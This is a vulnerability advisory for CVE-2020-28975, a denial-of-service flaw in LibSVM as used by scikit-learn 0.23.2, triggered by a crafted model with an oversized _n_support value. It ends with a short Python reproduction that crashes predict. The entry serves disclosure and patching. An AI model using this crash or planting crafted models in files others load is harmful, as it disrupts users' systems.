SciKit-Learn 0.23.2 Denial Of Service

`[Description]  
  
svm_predict_values in svm.cpp in Libsvm v324, as used in scikit-learn  
0.23.2 and other products, allows attackers to cause a denial of service  
(segmentation fault) via a crafted model SVM (introduced via pickle,  
json, or any other model permanence technique) with a large value in the  
_n_support array.  
  
  
[CVE ID]  
  
CVE-2020-28975  
  
  
[Vendor of Product]  
  
SciKit-Learn  
  
[Affected Product Code Base]  
  
scikit-learn - 0.23.2  
  
[Affected Component]  
  
LibSVM  
  
[Attack Type]  
  
Local  
  
[Impact]  
  
Denial of Service  
  
[Attack Vectors]  
  
specially crafted file  
  
[Reference]  
  
https://github.com/scikit-learn/scikit-learn/issues/18891  
<https://github.com/scikit-learn/scikit-learn/issues/18891>  
  
  
https://github.com/cjlin1/libsvm/blob/9a3a9708926dec87d382c43b203f2ca19c2d56a0/svm.cpp#L2501  
<https://github.com/cjlin1/libsvm/blob/9a3a9708926dec87d382c43b203f2ca19c2d56a0/svm.cpp#L2501>  
  
[Discoverer]  
  
pabloec20  
  
  
  
----------  
Editor's note - Steps/Code to Reproduce  
  
from sklearn import svm  
from sklearn import datasets  
  
  
if __name__ == '__main__':  
X,y = datasets.load_iris(return_X_y=True)  
clf = svm.SVC()  
clf.fit(X, y)  
clf._n_support[0] = 1000000  
y_pred = clf.predict(X)  
`